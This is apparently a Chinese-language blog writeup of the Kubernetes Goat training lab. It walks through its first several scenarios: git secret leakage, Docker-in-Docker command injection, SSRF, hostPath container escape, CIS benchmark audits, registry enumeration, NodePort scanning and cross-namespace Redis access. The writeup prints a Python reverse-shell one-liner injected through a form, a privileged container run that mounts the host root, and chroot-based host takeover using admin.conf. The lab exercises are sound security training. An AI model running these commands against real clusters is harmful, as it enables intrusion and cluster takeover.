云原生学习05-云安全靶场Kubernetes Goat

Kubernetes Goat靶场练习1-12题writeup

大致把k8s的架构学完了,接下来要继续学就是构建,开发那边的东西了,所以直接开始打靶场

Kubernetes Goat 是一个故意设计存在漏洞的 Kubernetes 集群环境,专门用于安全学习和实战练习。它由 Madhu Akula 创建,核心目标是让安全研究人员、运维和开发人员能在安全可控的环境中,亲手体验并理解 Kubernetes 环境里真实存在的错误配置和漏洞。

部署

1
2
3
4
5
6
7
8
9
10
11
12
#k8s环境下拉取github项目仓库
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat

#部署靶场到Kubernetes集群
chmod +x setup-kubernetes-goat.sh

#执行部署脚本,创建所有脆弱场景资源
bash setup-kubernetes-goat.sh

验证Pod状态(等待所有Pod进入Running状态)
kubectl get pods

启动访问

1
2
3
4
chmod +x access-kubernetes-goat.sh

#启动端口转发,暴露 Web界面到本地1234 端口
bash access-kubernetes-goat.sh

image-20261030124905551

为啥这么多靶场都要叫什么什么goat呢?KubernetesGoat、Cloudgoat、CI/CD Goat

Sensitive keys in codebases

开发人员往往会将敏感信息提交到版本控制系统中。随着我们向CI/CD 和GitOps系统迈进,我们往往会忘记识别代码和提交中的敏感信息。让我们看看能否在这里找到一些有趣的东西!

先dirsearch扫一下

1
dirsearch -u http://47.129.24.49:1230/

image-20261030125508097

发现git泄露

通过git-dumper将.git拉下来

1
git-dumper http://47.129.24.49:1230/.git ./dumped_source
1
2
cd dumped_source
git log

image-20261030130232025

1
git show d7c173ad183c574109cd5c4c648ffe551755b576

image-20261030130315487

泄露了aksk,拿到flag了

防护

进入pod

1
2
export POD_NAME=$(kubectl get pods --namespace default -l "app=build-code" -o jsonpath="{.items[0].metadata.name}")
kubectl exec -it $POD_NAME -- sh
1
trufflehog file:///app/.git

image-20261030132138244

后面看到一坨是因为在pod内部自带的trufflehog是v2的老版本,这个版本发现密钥的方式非常简单粗暴,就是**“高熵值(High Entropy)”检测算法**

在密码学中,“熵”代表随机性和混乱程度。一段有意义的英文(比如 hello_world)熵值很低;而一段毫无规律的随机字符(比如 7rix8v8GpI3ZBb0nSozFRg...)熵值极高。
老版本的 trufflehog 逻辑很简单粗暴:只要它发现文件里有一段长长的、看起来像乱码的随机字符,它就会怀疑这是密钥或 Token,并把它报出来。

DIND (docker-in-docker) exploitation

大多数使用Docker并在管道中为你构建容器的CI/CD和管道系统都使用了一种叫做DIND(Docker-in-Docker)的技术。简单来说就是在Docker容器中调用和执行宿主机的Docker,在这种情况下,我们试图利用并获取对主机系统的访问权限。

image-20261030135246041

好熟悉,首先是一个命令拼接,rce

1
;mount

查看当前系统中已经挂载(连接)的文件系统。

在 Linux 中,所有的设备(硬盘、U 盘、网络存储等)都必须“挂载”到系统的某个目录(挂载点)下,你才能访问里面的文件。mount 命令单独执行时,就是把这些信息全部列出来。

在 Kubernetes 靶场(或真实的 K8s 环境)中,看 mount 命令的输出极其重要,因为它是容器逃逸、权限提升的突破口。

image-20261030140708345

在goat中,靶场将宿主机的Docker socket挂载到了容器内部的非标准路径/custom/containerd/containerd.sock

可以通过下载docker,然后用命令连接可以进行逃逸从而进一步控制主机

先弹shell,后面方便做一些

1
nc -lvnp 12345
1
127.0.0.1; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your ip",12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

容器内没有云原生客户端,需要先下载一个

1
2
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl.tar.gz
;tar -xvf /tmp/crictl.tar.gz -C /tmp/

之后通过socket向宿主机containerd发起命令

1
/tmp/crictl -r unix:///custom/containerd/containerd.sock images

列举出宿主机的镜像,理论上到这里就完成了,但是还可以进一步的,创建一个挂载在\上的特权镜像,实现容器逃逸

1
/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged -v /:/host --rm alpine sh
  • -H unix://...:让 docker 客户端连上那个 socket,而不是本地默认 socket。
  • run --privileged:请求宿主机 containerd 在宿主机上启动一个新容器,并赋予它特权。
  • -v /:/host:把宿主机的根目录 / 挂载到新容器的 /host。

SSRF in the Kubernetes (K8S) world

SSRF(服务器端请求伪造)漏洞已成为针对云原生环境的常用攻击手段。在此场景中,我们将探讨如何通过利用SSRF这类应用程序漏洞来获取对云实例元数据及内部服务元数据信息的访问权限。

滚木yakit,发100个包失败72个,还ddos把我服务打崩了,就当我爆出来了

image-20261030210617838

访问5000端口返回

1
"{\"info\": \"Refer to internal http://metadata-db for more information\"}"

img

img

img

然后解码就好了

还是ssrf,没看出和k8s有什么联系啊

Container escape to the host system

大多数监控、追踪和调试软件都需要以额外的权限和能力运行。在这种情况下,我们将看到一个具有额外能力和权限(包括HostPath)的Pod,它使我们能够访问主机系统,并提供节点级配置,从而完全控制集群。

image-20261031124611309

可以看到这个环境将宿主机挂载到了容器的/host-system目录下

将/host-system作为根目录开启一个bash

1
chroot /host-system bash

Linux 上所有文件路径都从根 / 开始。chroot 的作用是把一个目录“伪装”成新的根 /。执行 chroot /host-system bash 后,bash 进程及其子进程看到的所有绝对路径,都以 /host-system 为起点。它看不到 /host-system 之外的文件,以为那就是整个文件系统。

在你的场景里,/host-system 是 Pod 通过 hostPath 挂载进来的宿主机根目录。所以 chroot /host-system bash 的效果是:你的 shell 以为自己运行在宿主机上,能看到宿主机的 /etc、/var、/root。这就是逃逸的关键一步。

image-20261031125028855

执行之后可以看到目录变成宿主机的根目录,可以窃取宿主机的信息

image-20261031125530732

可以看到kubeconfig中暴露了高权限的admin凭证,可以借此控制k8s集群

1
2
kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes
kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system

image-20261031130250477

发现环境变量中没有kubectl,还需要查找,通过绝对路径来引用

1
ind / -name kubectl -type f 2>/dev/null

关于conf

admin.conf 是 kubeconfig 文件的一种。它不是用来部署资源的 YAML,而是 kubectl 用来连接集群、证明身份的配置文件。

你可以把它理解成一张“门禁卡”:

  • YAML(Deployment 等):告诉集群“我要什么”(跑几个副本、用什么镜像)。
  • kubeconfig(admin.conf):告诉 kubectl“集群在哪、我是谁、我有什么权限”。

没有 kubeconfig,kubectl 连 API Server 都连不上,YAML 写得再对也部署不出去。

一个 kubeconfig 通常包含三块:

1. clusters(集群信息)

1
2
3
4
5
clusters:
- cluster:
certificate-authority-data: <Base64 编码的 CA 证书>
server: https://control-plane.minikube.internal:8443
name: mk

告诉 kubectl:API Server 的地址是什么,用哪个 CA 来验证服务端证书。

2. users(用户凭证)

1
2
3
4
5
users:
- name: kubernetes-admin
user:
client-certificate-data: <Base64 编码的客户端证书>
client-key-data: <Base64 编码的客户端私钥>

这是你的“身份证”。K8s 用 TLS 双向认证,API Server 通过这对证书确认“你是谁”。admin.conf 里的证书属于 kubernetes-admin,默认拥有集群管理员权限。

3. contexts(上下文)

1
2
3
4
5
6
contexts:
- context:
cluster: mk
user: kubernetes-admin
name: kubernetes-admin@mk
current-context: kubernetes-admin@mk

把“哪个用户”和“哪个集群”绑在一起,并指定当前默认使用哪个。

所以拿到这个凭证就可以拿到集群管理权限

使用方式

1
2
3
kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes
kubectl --kubeconfig /etc/kubernetes/admin.conf get pods -A
kubectl --kubeconfig /etc/kubernetes/admin.conf get secrets -A

Docker CIS benchmarks analysis

该场景主要用于在Kubernetes节点上执行Docker CIS基准测试,以识别可能的安全漏洞。
要开始此场景,您可以访问节点并按照docker bench security进行操作,或运行以下命令将docker bench security作为DaemonSet部署。

1
kubectl apply -f scenarios/docker-bench-security/deployment.yaml

=docker-bench-security=:

​ 它本质上是一个 Shell 脚本,由 Docker 官方维护,基于 CIS Docker Benchmark(互联网安全中心发布的 Docker 安全配置标准)做自动化检查。它会逐项检查宿主机和 Docker 守护进程的配置,输出 PASS / FAIL / WARN / INFO 结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# docker run -it --net host --pid host --userns host --cap-add audit_control \
# -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
# -v /etc:/etc:ro \
# -v /lib/systemd/system:/lib/systemd/system:ro \
# -v /usr/bin/containerd:/usr/bin/containerd:ro \
# -v /usr/bin/runc:/usr/bin/runc:ro \
# -v /usr/lib/systemd:/usr/lib/systemd:ro \
# -v /var/lib:/var/lib:ro \
# -v /var/run/docker.sock:/var/run/docker.sock:ro \
# --label docker_bench_security \
# docker/docker-bench-security
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: docker-bench-security
labels:
name: docker-bench
spec:
selector:
matchLabels:
name: docker-bench
template:
metadata:
labels:
name: docker-bench
spec:
hostPID: true
hostIPC: true
hostNetwork: true
securityContext:
runAsUser: 0
# Init container to ensure container runtime socket is available
initContainers:
- name: verify-runtime-socket
image: busybox:latest
command:
- sh
- -c
- |
echo "Checking for container runtime socket..."
if [ -S /host-root/var/run/docker.sock ]; then
echo "✓ Docker socket found at /var/run/docker.sock"
elif [ -S /host-root/run/docker.sock ]; then
echo "✓ Docker socket found at /run/docker.sock"
elif [ -S /host-root/run/containerd/containerd.sock ]; then
echo "✓ Containerd socket found at /run/containerd/containerd.sock"
else
echo "⚠ No container runtime socket found!"
echo " This may cause docker-bench-security to fail"
fi
volumeMounts:
- name: host-root
mountPath: /host-root
readOnly: true
securityContext:
privileged: true
containers:
- name: docker-bench
image: madhuakula/hacker-container
imagePullPolicy: Always
command: ["/bin/sh", "-c", "sleep infinity"]
resources:
requests:
cpu: 20m
memory: 50Mi
limits:
cpu: 50m
memory: 80Mi
securityContext:
privileged: true
capabilities:
add: ["AUDIT_CONTROL"]
volumeMounts:
- name: var-lib-vol
mountPath: /var/lib
readOnly: true
- name: usr-lib-systemd-vol
mountPath: /usr/lib/systemd
readOnly: true
- name: etc-vol
mountPath: /etc
readOnly: true
- name: lib-systemd-system-vol
mountPath: /lib/systemd/system
readOnly: true
- name: usr-bin-contained-vol
mountPath: /usr/bin/containerd
readOnly: true
- name: usr-bin-runc-vol
mountPath: /usr/bin/runc
readOnly: true
# Try Docker socket first (common path)
- name: docker-sock-volume
mountPath: /var/run/docker.sock
readOnly: true
# Fallback Docker socket path
- name: docker-sock-fallback
mountPath: /run/docker.sock
readOnly: true
# Containerd socket (for environments using containerd)
- name: containerd-sock-volume
mountPath: /run/containerd/containerd.sock
readOnly: true
volumes:
- name: host-root
hostPath:
path: /
type: Directory
- name: var-lib-vol
hostPath:
path: /var/lib
- name: usr-lib-systemd-vol
hostPath:
path: /usr/lib/systemd
- name: etc-vol
hostPath:
path: /etc
- name: lib-systemd-system-vol
hostPath:
path: /lib/systemd/system
- name: usr-bin-contained-vol
hostPath:
path: /usr/bin/containerd
- name: usr-bin-runc-vol
hostPath:
path: /usr/bin/runc
- name: docker-sock-volume
hostPath:
path: /var/run/docker.sock
type: DirectoryOrCreate
- name: docker-sock-fallback
hostPath:
path: /run/docker.sock
type: DirectoryOrCreate
- name: containerd-sock-volume
hostPath:
path: /run/containerd/containerd.sock
type: DirectoryOrCreate
1
2
3
4
kubectl get pods -o wide  #找到刚刚开启容器
kubectl exec -it docker-bench-security-psvjl --sh
cd docker-bench-security
./docker-bench-security.sh #进行基准核查

image-20261031132414621

这一关和之前的渗透关卡不同,是偏向于蓝队,教导如何在每个节点中起一个docker-bench-security的pod来进行安全审查,但是我在部署时的环境烂了,没办法挂载在socket上,最后直接用docker跑了一次

Kubernetes CIS benchmarks analysis

此场景主要是在Kubernetes节点上执行Kubernetes CIS基准分析,以识别可能存在的安全漏洞。 要开始使用此场景,您可以访问节点并按照kube-bench安全标准执行操作,或者运行以下命令将kube-bench作为Kubernetes作业进行部署

1
2
kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml

image-20261031134001994

这两个 YAML 文件本质上是在 K8s 里启动 Job(一次性任务)。它们使用的镜像叫 kube-bench,这是一个由 Aqua Security 开发的开源工具,专门用来检查 K8s 是否符合 CIS Kubernetes Benchmark 标准。

  • master-job.yaml:专门针对控制面节点(Master)。它检查的是 K8s 的大脑(API Server、etcd 数据库、调度器 Scheduler)有没有配错。
  • node-job.yaml:专门针对工作节点(Node)。它检查的是干活的肌肉(kubelet、kube-proxy、节点上的文件权限)有没有漏洞。
对比维度 第五关:Docker 审计 第六关:K8s 审计
体检对象 Docker 守护进程(Docker Daemon) Kubernetes 组件(API Server、kubelet)
使用的工具 docker-bench-security kube-bench
通俗比喻 查“盖房子的砖”:检查容器本身跑得安不安全。 查“房子的承重墙”:检查管理容器的平台安不安全。
核心检查项 是否允许特权容器?socket 有没有乱挂?容器之间网络有没有隔离? API Server 开没开审计日志?etcd 数据权限对不对?kubelet 配置文件是不是谁都能读?
部署方式 DaemonSet(因为要检查每台机器上的 Docker) Job(一次性任务,跑完就退出)

在真实的红蓝对抗中,如果你是攻击者(红队),拿到这两份报告简直就是“藏宝图”。

  • 看到 Master 没开审计日志,你就可以放心大胆地调用 API Server 搞破坏,因为没人会发现;
  • 看到 Node 的文件权限配置错误,你就可以尝试提权,或者篡改 kubelet 配置。

如果你是防守方(蓝队),跑完这俩脚本,按照 Remediations(修复建议)里的提示,去敲几个 chmod 和 chown 命令把权限收紧,集群的安全等级就能瞬间拔高一大截。

Attacking private registry

容器仓库是所有容器镜像 推送的地方。大多数情况下,每个组织都有自己的私有仓库。此外,有时它最终会被错误配置,变成公开/开放的。另一方面,开发人员认为它只是内部私有仓库,最终将所有敏感信息存储在容器镜像中。让我们看看这里能发现什么。

image-20261031134338730

dirsearch扫一下看到泄露了/v2/_catalog路径

/v2/_catalog 是 Docker Registry(镜像仓库)的标准 API 接口。正常情况下,它应该需要认证才能访问。但靶场里这个仓库(poor-registry)配置不当,允许任何人直接查看镜像列表。

image-20261031134852229

在 Docker 和 Kubernetes 的世界里,Manifest(清单) 就像是一个集装箱(镜像)的**“出厂规格说明书”**。

当你在网上(或者私有仓库里)看到一个镜像时,你看到的只是一个名字(比如 k8s-goat-users-repo)。但 Docker 系统需要知道很多具体信息才能使用它:它的架构是 x86 还是 ARM?它包含了哪些层(Layers)?它启动时默认带有哪些环境变量?它默认执行的命令是什么?

这些所有信息,都记录在 Manifest 这个 JSON 格式的文件里。

NodePort exposed services

如果任何用户在Kubernetes集群中使用NodePort暴露了任何服务。这意味着,如果运行Kubernetes集群的节点没有启用任何防火墙/网络安全措施,我们可能会看到一些未经身份验证和授权的服务。 要开始此场景,请运行以下命令并查找Kubernetes节点中的开放端口 当Kubernetes创建一个NodePort服务时,它会从定义Kubernetes集群的标志中指定的范围分配一个端口。(默认情况下,这些端口范围是30000-32767。)

因为我部署在aws的ec2上,所以有它官方的防火墙,我懒得去开放,简单说一下做法及就行

先用nmap扫一下

1
nmap -T4 -p 30000-32767 <your ip>

扫出来个30003端口开放,暴露了内网信息

img

Kubernetes namespaces bypass

默认情况下,Kubernetes使用平面网络架构,这意味着集群内的任何Pod/服务都可以与其他Pod/服务通信。默认情况下,集群内的命名空间没有任何网络安全限制。任何命名空间中的任何对象都可以与其他命名空间通信。我们听说Kubernetes-Goat喜欢缓存。让我们看看是否可以访问其他命名空间 要开始这个场景,让我们在默认命名空间中运行我们超棒的黑客容器

看提示大概可以猜出是要我们在内网中找到其他命名空间中的redis服务,然后去读它的内容

1
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

传统扫内网先

1
zmap -p 6379 10.0.0.0/8 -o results.csv

zmap用不了,换nmap试试

1
nmap -sT -p 6379 -n -T4 10.0.0.0/8 --open

看到10.110.249.103开放了对应的服务,主动连上去看看

1
redis-cli -h 10.110.249.103
1
2
3
4
10.110.249.103:6379> KEYS *
1) "SECRETSTUFF"
10.110.249.103:6379> GET SECRETSTUFF
"k8s-goat-a5a3e446faafa9d0514b3ff396ab8a40"

拿到了

Contents